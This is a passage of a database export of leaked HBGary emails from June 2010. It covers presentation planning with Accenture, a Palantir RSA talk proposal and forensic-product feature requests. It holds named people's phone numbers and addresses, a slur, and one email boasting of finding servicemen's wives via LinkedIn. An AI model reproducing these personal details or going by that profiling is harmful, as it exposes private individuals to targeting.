VirtualArmor slides.&nbsp;\r\nPlease recommend any changes to what we have so far.&nbsp;&nbsp; I&#8217;d like to\r\nhave everyone&#8217;s input by Wednesday so that we can go over the entire\r\npresentation on Thursday.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ricart, Richard \r\nSent: Monday, June 28, 2010 11:30 AM\r\nTo: \'Penny Leavy-Hoglund\'; \'Christopher Lee\'\r\nCc: Smith, Richard N.; Riven, Rodney\r\nSubject: July 6th Presentation in Reston\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Penny and Chris,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m about to send out a portion\r\nof the presentation we are working on for the 6th so that you can\r\nadd your slides.&nbsp; We apologize for not getting to you sooner; however, I still\r\nthink we have time to get this done in the next couple of days.&nbsp;&nbsp;\r\nMake sure to coordinate with Rick Smith on travel plans.&nbsp;&nbsp; Stay\r\ntuned.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRick Ricart\r\n\r\nAccenture\r\n\r\nChief Engineer, Defense\r\n\r\n3505 Lake Lynda Drive, Suite 115\r\n\r\nOrlando, FL&nbsp; 32817\r\n\r\nCell: 321-544-4000\r\n\r\n\r\n\r\n\r\n\r\nThis message\r\nis for the designated recipient only and may contain privileged, proprietary,\r\nor otherwise private information. If you have received it in error, please\r\nnotify the sender immediately and delete the original. Any other use of the email\r\nby you is prohibited.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12506,'aaron_hbgary_com/12506.html'),(7989,'2010-06-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006167.M242115P14101Q2844.eml','all@hbgary.com','Next iteration is coming up',' \r\nTeam,\r\n \r\nHere is your chance to vote for your #1 feature.  You can ask, plead, beg, or bribe us with beer.\r\n \r\nThe next iteration is being planned tommorow, cards are going up, and we plan on focusing on bug fixes and smaller features.  We may include a big feature as well, depending on how the timeline looks.\r\n \r\n-Greg\r\n',3946,'aaron_hbgary_com/3946.html'),(7990,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006168.M250962P14101Q2845.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Background material','From my iPhoneBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: June 29, 2010 8:46:37 PM EDTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: FW: RE: RE: Background material\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley\r\n[mailto:nathan.atherley@farallon-research.com] \r\nSent: Monday, June 28, 2010 6:55 AM\r\nTo: Economou, George; Penny Leavy-Hoglund; jack kretovics;\r\njhayes@blackridge.us; Ray Owen\r\nSubject: Fwd: RE: RE: Background material\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThanks John!\r\n\r\n\r\n\r\n-------- Original Message -------- \r\n\r\n\r\n \r\n  \r\n  Subject: \r\n  \r\n  \r\n  RE: RE: Background material\r\n  \r\n \r\n \r\n  \r\n  Date: \r\n  \r\n  \r\n  Mon, 28 Jun 2010 06:38:49 -0700\r\n  \r\n \r\n \r\n  \r\n  From: \r\n  \r\n  \r\n  John Hayes &lt;jhayes@blackridge.us&gt;\r\n  \r\n \r\n \r\n  \r\n  Organization: \r\n  \r\n  \r\n  BlackRidge Technology Inc\r\n  \r\n \r\n \r\n  \r\n  To: \r\n  \r\n  \r\n  &#39;Nathan Atherley&#39; &lt;nathan.atherley@farallon-research.com&gt;\r\n  \r\n \r\n\r\n\r\n \r\n\r\nNathan- Here&#39;s the BlackRidge whitepaper on TAC.   John.-- &gt; -----Original Message-----&gt; From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n&gt; Sent: Thursday, June 24, 2010 11:50 AM&gt; To: jhayes@blackridge.us; Economou, George; Penny Leavy-Hoglund; Ray\r\n&gt; Owen; jack kretovics&gt; Subject: Fwd: RE: Background material&gt; &gt; Thanks for Penny for being the first one to get some read ahead&gt; material out to the group.  If the other groups can get me something\r\n&gt; NLT tomorrow, I will ensure we all have copies as well as print outs on&gt; the day of.&gt; &gt; Thanks&gt; &gt; nathan&gt; &gt; \r\n&gt; On 6/21/2010 3:04 PM, Penny Leavy-Hoglund wrote:&gt; &gt;  Ours are up on our website&gt; &gt;&gt; &gt;  -----Original Message-----&gt; &gt;  From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n&gt; &gt;  Sent: Monday, June 21, 2010 11:05 AM&gt; &gt;  To: Economou, George; jhayes@blackridge.us; Penny Leavy-Hoglund; Ray\r\n&gt; &gt; Owen;  jack kretovics&gt; &gt;  Subject: Background material&gt; &gt;&gt; &gt;  Penny, John&amp;   George&gt; &gt;&gt; &gt;  In preparation for our 8-9 July meetings, I would like to get some\r\n&gt; &gt; background material to help each of us get as much up to speed as&gt; &gt; possible on each of the entities.  We are currently working the NDA&gt; &gt; issue and if you prefer, please send me any material you would like\r\n&gt; to&gt; &gt; share and that you think will be helpful to accelerate our meetings.&gt; &gt;&gt; &gt;  If everyone could please send me materials NLT this Friday 25 June,\r\n&gt; I&gt; &gt; will redistribute, as well as ensure we have copies etc on the 8th.&gt; &gt;&gt; &gt;  Thanks!&gt; &gt;&gt; &gt;  nathan&gt; &gt;\r\n&gt; &gt;&gt; &gt;&gt; &gt;&gt;   \r\n\r\n\r\n\r\n\r\n\r\n',13620,'aaron_hbgary_com/13620.html'),(7991,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006169.M927803P14101Q2846.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Background material','From my iPhoneBegin forwarded message:From: &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: June 29, 2010 8:46:50 PM EDTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: FW: RE: RE: Background material\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Economou, George\r\n[mailto:economou@Akamai.com] \r\nSent: Monday, June 28, 2010 4:14 PM\r\nTo: Nathan Atherley; Penny Leavy-Hoglund; jack kretovics;\r\njhayes@blackridge.us; Ray Owen\r\nSubject: RE: RE: RE: Background material\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey\r\nNate,\r\n\r\n \r\n\r\nHere\r\nis generic info on Akamai and Public Sector work, with a teaser for pretty much\r\nall the areas we address; there are some whitepapers on Akamai &amp; cloud\r\ncomputing at www.akamai.com/cloud; and info on the type of data we observe is\r\nmostly on our Web site under Technology -&gt; Visualizing the Internet.  There\r\nis no universal whitepaper for what we do, unfortunately, it&#39;s all specific to\r\nindividual services.\r\n\r\n \r\n\r\nBest,\r\n\r\n-George\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley\r\n[mailto:nathan.atherley@farallon-research.com] \r\nSent: Monday, June 28, 2010 9:55 AM\r\nTo: Economou, George; Penny Leavy-Hoglund; jack kretovics;\r\njhayes@blackridge.us; Ray Owen\r\nSubject: Fwd: RE: RE: Background material\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nThanks John!\r\n\r\n\r\n\r\n-------- Original Message -------- \r\n\r\n\r\n \r\n  \r\n  Subject: \r\n  \r\n  \r\n  RE: RE: Background material\r\n  \r\n \r\n \r\n  \r\n  Date: \r\n  \r\n  \r\n  Mon, 28 Jun 2010 06:38:49 -0700\r\n  \r\n \r\n \r\n  \r\n  From: \r\n  \r\n  \r\n  John Hayes &lt;jhayes@blackridge.us&gt;\r\n  \r\n \r\n \r\n  \r\n  Organization: \r\n  \r\n  \r\n  BlackRidge Technology Inc\r\n  \r\n \r\n \r\n  \r\n  To: \r\n  \r\n  \r\n  &#39;Nathan Atherley&#39; &lt;nathan.atherley@farallon-research.com&gt;\r\n  \r\n \r\n\r\n\r\n \r\n\r\nNathan- Here&#39;s the BlackRidge whitepaper on TAC.   John.-- &gt; -----Original Message-----&gt; From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n&gt; Sent: Thursday, June 24, 2010 11:50 AM&gt; To: jhayes@blackridge.us; Economou, George; Penny Leavy-Hoglund; Ray\r\n&gt; Owen; jack kretovics&gt; Subject: Fwd: RE: Background material&gt; &gt; Thanks for Penny for being the first one to get some read ahead&gt; material out to the group.  If the other groups can get me something\r\n&gt; NLT tomorrow, I will ensure we all have copies as well as print outs on&gt; the day of.&gt; &gt; Thanks&gt; &gt; nathan&gt; &gt; \r\n&gt; On 6/21/2010 3:04 PM, Penny Leavy-Hoglund wrote:&gt; &gt;  Ours are up on our website&gt; &gt;&gt; &gt;  -----Original Message-----&gt; &gt;  From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n&gt; &gt;  Sent: Monday, June 21, 2010 11:05 AM&gt; &gt;  To: Economou, George; jhayes@blackridge.us; Penny Leavy-Hoglund; Ray\r\n&gt; &gt; Owen;  jack kretovics&gt; &gt;  Subject: Background material&gt; &gt;&gt; &gt;  Penny, John&amp;   George&gt; &gt;&gt; &gt;  In preparation for our 8-9 July meetings, I would like to get some\r\n&gt; &gt; background material to help each of us get as much up to speed as&gt; &gt; possible on each of the entities.  We are currently working the NDA&gt; &gt; issue and if you prefer, please send me any material you would like\r\n&gt; to&gt; &gt; share and that you think will be helpful to accelerate our meetings.&gt; &gt;&gt; &gt;  If everyone could please send me materials NLT this Friday 25 June,\r\n&gt; I&gt; &gt; will redistribute, as well as ensure we have copies etc on the 8th.&gt; &gt;&gt; &gt;  Thanks!&gt; &gt;&gt; &gt;  nathan&gt; &gt;\r\n&gt; &gt;&gt; &gt;&gt; &gt;&gt;   \r\n\r\n\r\n\r\n\r\n\r\n',6572,'aaron_hbgary_com/6572.html'),(7992,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006173.M265397P14101Q2847.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: July 6th Presentation in Reston','From my iPhoneBegin forwarded message:From: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;\r\nTo: &#39;Aaron Barr&#39; &lt;aaron@hbgary.com&gt;Subject: FW: July 6th Presentation in Reston\r\nThis is Accenture integration I was talking aboutFrom: richard.ricart@accenture.com [mailto:richard.ricart@accenture.com] \r\nSent: Monday, June 28, 2010 9:52 AMTo: penny@hbgary.com; chris.lee@virtualarmor.com\r\nCc: richard.n.smith@accenture.com; rodney.riven@accenture.com\r\nSubject: RE: July 6th Presentation in RestonOk,Here is an early cut of the presentation.  We are still working on this so\r\nthere may be changes to what is currently there and will have more slides toadd.Please review the Active Defense Section.  I have place holders for HBGary\r\nand VirtualArmor slides.  Please recommend any changes to what we have sofar.   I&#39;d like to have everyone&#39;s input by Wednesday so that we can go overthe entire presentation on Thursday.\r\nThanks,Rick RicartAccentureChief Engineer, Defense\r\n3505 Lake Lynda Drive, Suite 115Orlando, FL  32817Cell: 321-544-4000\r\nFrom: Ricart, Richard Sent: Monday, June 28, 2010 11:30 AMTo: &#39;Penny Leavy-Hoglund&#39;; &#39;Christopher Lee&#39;Cc: Smith, Richard N.; Riven, Rodney\r\nSubject: July 6th Presentation in RestonHi Penny and Chris,I&#39;m about to send out a portion of the presentation we are working on for\r\nthe 6th so that you can add your slides.  We apologize for not getting toyou sooner; however, I still think we have time to get this done in the nextcouple of days.   Make sure to coordinate with Rick Smith on travel plans.\r\nStay tuned.Thanks,Rick RicartAccenture\r\nChief Engineer, Defense3505 Lake Lynda Drive, Suite 115Orlando, FL  32817Cell: 321-544-4000\r\nThis message is for the designated recipient only and may containprivileged, proprietary, or otherwise private information. If you havereceived it in error, please notify the sender immediately and delete the\r\noriginal. Any other use of the email by you is prohibited.\r\n',16347,'aaron_hbgary_com/16347.html'),(7993,'2010-06-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006173.M571026P14101Q2848.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','EndGames Data as sales leads','Hi Penny,\r\n\r\nIt seems some people are liking the EndGames data.  The Beta is ending soon.  If we want to continue to have access to this we need to have a conversation with EGS on a pricing model for using their data for sales leads.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16174,'aaron_hbgary_com/16174.html'),(7994,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006173.M779495P14101Q2849.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EndGames Data as sales leads','OK, feel it out\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 29, 2010 6:42 PM\r\nTo: Penny Leavy\r\nCc: Ted Vera\r\nSubject: EndGames Data as sales leads\r\n\r\nHi Penny,\r\n\r\nIt seems some people are liking the EndGames data.  The Beta is ending soon.\r\nIf we want to continue to have access to this we need to have a conversation\r\nwith EGS on a pricing model for using their data for sales leads.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',5664,'aaron_hbgary_com/5664.html'),(7995,'2010-06-30','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297006173.M994431P14101Q2850.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: RSA proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat, someone from HQ is going to initiate contact and lead the\r\nproject.&nbsp; Should be exciting. \r\n\r\n&nbsp;\r\n\r\nHave you seen these posts (read in reverse order)\r\n\r\n&nbsp;\r\n\r\nhttp://blogs.sans.org/computer-forensics/2010/06/21/security-intelligence-knowing-enemy\r\n\r\n&nbsp;\r\n\r\nhttps://blogs.sans.org/computer-forensics/2009/10/14/security-intelligence-attacking-the-kill-chain/\r\n\r\n&nbsp;\r\n\r\nhttp://blogs.sans.org/computer-forensics/2009/07/23/security-intelligence-introduction-pt-2/\r\n\r\n&nbsp;\r\n\r\nhttp://blogs.sans.org/computer-forensics/2009/07/22/security-intelligence-introduction-pt-1/\r\n\r\n&nbsp;\r\n\r\nGood framing of the cyber threat.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 29, 2010 12:50 PM\r\nTo: Matthew Steckman\r\nSubject: Re: RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI think its a good idea. &nbsp;Lets do it.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 28, 2010, at 6:33 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNever got a response on this.&nbsp; Waddah think?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Thursday, June 24,\r\n2010 4:45 PM\r\nTo:&nbsp;\'Aaron Barr\'\r\nCc:&nbsp;Eli Bingham; Shreyas\r\nVijaykumar; Geoff Stowe; Aaron Zollman\r\nSubject:&nbsp;RSA proposal\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\nAs we discussed, our proposal is as follows:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Palantir and HBGary (and maybe SecDev) tag\r\nteam an RSA speakers submission (due July 9 btw) entitled something like,\r\n&#8220;Cyber IS an Intelligence Problem, NOT an IT Problem: Redefining the Problem\r\nSet&#8221; (horrible title I know)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;The goal here would be to take a technical\r\nproblem (maybe one of Greg&#8217;s or SecDev&#8217;s pet projects), present the technical\r\nfindings in Part I of the prezo, then flip gears in Part II to present it as an\r\nIntelligence problem (using Palantir for the presentation)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We need to be careful to remove all\r\nmarketing language from the submission as they apparently don&#8217;t take kindly to\r\nthat\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We obviously have a ton of time to do the\r\nwork which could be split between all of us (we could even set up a hosted\r\nPalantir instance to do the research a la Project Grey Goose)\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We would want to play up our Intel\r\ncommunity bona fides and your technical prowess/name brand\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMy\r\n4 colleagues CCed and myself are basically all of Palantir&#8217;s &#8220;Cyber\r\nTeam&#8221;.&nbsp; I&#8217;ll now open this thread up for comments.&nbsp; If HBGary is in\r\nwe can set up a quick brainstorming session.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11243,'aaron_hbgary_com/11243.html'),(7996,'2010-06-30','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006174.M421402P14101Q2851.eml','\"Barr Aaron\" <aaron@hbgary.com>','.Mac Reader: Gizmodo','feed://www.gizmodo.com/index.xml#b3\r\n\r\n\r\n\r\n',13483,'aaron_hbgary_com/13483.html'),(7997,'2010-06-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006175.M832125P14101Q2852.eml','all@hbgary.com','RE: Next iteration is coming up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg \r\n\r\n&nbsp;\r\n\r\nExpose memory forensics data from endpoints in the AD web\r\ninterface.\r\n\r\n&nbsp;\r\n\r\nStart doing some disk functions like collecting files and folders\r\nthat match queries.\r\n\r\n&nbsp;\r\n\r\nAs part of the botnet contract add-on money we proposed\r\ndeveloping features for registry forensics.&nbsp; The SOW is attached.&nbsp;\r\nSee what we proposed for this on page 3.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, June 29, 2010 8:56 PM\r\nTo: all@hbgary.com\r\nSubject: Next iteration is coming up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere is your chance to vote for your #1 feature.&nbsp; You\r\ncan ask, plead, beg, or bribe us with beer.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe next iteration is being planned tommorow, cards are\r\ngoing up, and we plan on focusing on bug fixes and smaller features.&nbsp; We\r\nmay include a big feature as well, depending on how the timeline looks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/29/10 02:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5998,'aaron_hbgary_com/5998.html'),(7998,'2010-06-30','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006176.M363817P14101Q2854.eml','all@hbgary.com','RE: Next iteration is coming up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n#1 &#8211; Yes, we could pull memory images and do memory\r\nforensics in Responder.&nbsp; But it is my understanding that our endpoint\r\nagent already harvests all RAM data, but we don&#8217;t bring any of it to the\r\nUI.&nbsp; Seems simple and straightforward to me to bring it to the AD\r\nUI.&nbsp; It would make inspection of endpoints that much faster and would\r\nstreamline work flow.\r\n\r\n&nbsp;\r\n\r\n#2 &#8211; When DDNA and queries find potentially bad things the\r\ncustomers want to grab the artifacts to examine them.&nbsp; Many of these\r\nartifacts are located on disk.&nbsp; It would be useful to gather the evidence\r\nand transport it over the network for the analyst.&nbsp; This is a feature set\r\nthat Mandiant has that we don&#8217;t.\r\n\r\n&nbsp;\r\n\r\n#3 &#8211; I only see what we said we would do in the botnet\r\nproposal.&nbsp; I don&#8217;t have any other input as to what is needed.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Tuesday, June 29, 2010 11:55 PM\r\nTo: \'Bob Slapnik\'; all@hbgary.com\r\nSubject: RE: Next iteration is coming up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nFirst, what does number one mean?&nbsp; We can do this with one\r\nclick and send to Responder.&nbsp; Should we just plan to bundle one copy of\r\nResponder with AD?\r\n\r\n&nbsp;\r\n\r\nSecond, what does number two mean? We do this, do you mean\r\nunpacking them?\r\n\r\n&nbsp;\r\n\r\nThird, Woody at DHS is asking what we want to do, registery,\r\naccording to Martin is about 50% done.&nbsp; Would it be better to do things\r\n&#8220;automagically&#8221; like expose all pictures? (jpegs, etc)\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, June 29, 2010 8:51 PM\r\nTo: all@hbgary.com\r\nSubject: RE: Next iteration is coming up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg \r\n\r\n&nbsp;\r\n\r\nExpose memory forensics data from endpoints in the AD web\r\ninterface.\r\n\r\n&nbsp;\r\n\r\nStart doing some disk functions like collecting files and\r\nfolders that match queries.\r\n\r\n&nbsp;\r\n\r\nAs part of the botnet contract add-on money we proposed\r\ndeveloping features for registry forensics.&nbsp; The SOW is attached.&nbsp;\r\nSee what we proposed for this on page 3.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, June 29, 2010 8:56 PM\r\nTo: all@hbgary.com\r\nSubject: Next iteration is coming up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere is your chance to vote for your #1 feature.&nbsp; You\r\ncan ask, plead, beg, or bribe us with beer.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe next iteration is being planned tommorow, cards are\r\ngoing up, and we plan on focusing on bug fixes and smaller features.&nbsp; We\r\nmay include a big feature as well, depending on how the timeline looks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/29/10\r\n02:35:00\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/29/10\r\n14:35:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9579,'aaron_hbgary_com/9579.html'),(7999,'2010-06-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006176.M599886P14101Q2855.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Next iteration is coming up','\r\nOn Tue, Jun 29, 2010 at 9:07 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n#1 – Yes, we could pull memory images and do memory forensics in Responder.  But it is my understanding that our endpoint agent already harvests all RAM data, but we don’t bring any of it to the UI.  Seems simple and straightforward to me to bring it to the AD UI.  It would make inspection of endpoints that much faster and would streamline work flow.\r\n\r\n\r\n \r\nWe bring alot back, and deep-dive is possible using Responder.  As of tommorow, customers will be able to download the memory snapshots and open them in Responder without leaving the AD interface.\r\n\r\n\r\n\r\n \r\n#2 – When DDNA and queries find potentially bad things the customers want to grab the artifacts to examine them.  Many of these artifacts are located on disk.  It would be useful to gather the evidence and transport it over the network for the analyst.  This is a feature set that Mandiant has that we don’t.\r\n\r\n \r\nAs of the release tomorrow, customers will be able to query and download any file from the remote system.  This is forensically sound.\r\n \r\nWe have two new features on deck:\r\n \r\n1) preview remote filesystem\r\n - the GUI would look just like windows explorer\r\n - any file could be copied / drag-and-dropp&#39;ed from the remote system\r\n - this is forensically sound\r\n \r\nNote: this would compete with EnCase and F-Response both\r\n \r\n2) timeline view\r\n - the temporary internet files, prefetch, and system32\\config directories would be acquired\r\n - timestamps and reg-ripping and event log entries would create a timeline of events\r\n - these would be plotted on a new GUI control that looks like a timeline\r\n \r\nOf these, #1 is easier.\r\n \r\n-Greg\r\n',4832,'aaron_hbgary_com/4832.html'),(8000,'2010-06-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006176.M880577P14101Q2856.eml','aaron@hbgary.com,aaron@hbgary.com','U.S. falls into second place for Cyber Capability','Surrounded by retards\r\nMy god.  The enemy can break into our systems using archived exploits from 5 years ago, they can type in a search term like it was google, find a vulnerable server in D.C., and just click-and-exploit the thing.  They can queue 1,000 spearfishing emails against the government of South Africa in one click, informed all by Google searches.  Someone will click the PDF.  The RAT&#39;s bypass AV by definition, because they wouldn&#39;t be RAT&#39;s if they didn&#39;t pass the QA.  And now social networks are closing the gap between attacker and victim, to the point I just found (via linked-in) 112 females, wives of service men, all stationed at Hurlbert Field FL - in case you don&#39;t know this is where the CIA flies all their &quot;private&quot; airlines out of.  What a damn joke - the U.S. is no longer the super power in cyber, and probably won&#39;t be in other areas soon.  We are going down fast.  If we don&#39;t get our shit together soon, I don&#39;t know what to say.  I&#39;m kind-of freaked out by this sudden realization.  The U.S. is no longer the lead - we are like the 2nd world nations trying to keep up now.  China and Israel are in the lead.\r\n\r\n-Greg\r\n \r\n',1090,'aaron_hbgary_com/1090.html'),(8001,'2010-06-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006176.M93406P14101Q2853.eml','\"Bob Slapnik\" <bob@hbgary.com>,all@hbgary.com','RE: Next iteration is coming up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob,\r\n\r\n&nbsp;\r\n\r\nFirst, what does number one mean?&nbsp; We can do this with one click\r\nand send to Responder.&nbsp; Should we just plan to bundle one copy of Responder\r\nwith AD?\r\n\r\n&nbsp;\r\n\r\nSecond, what 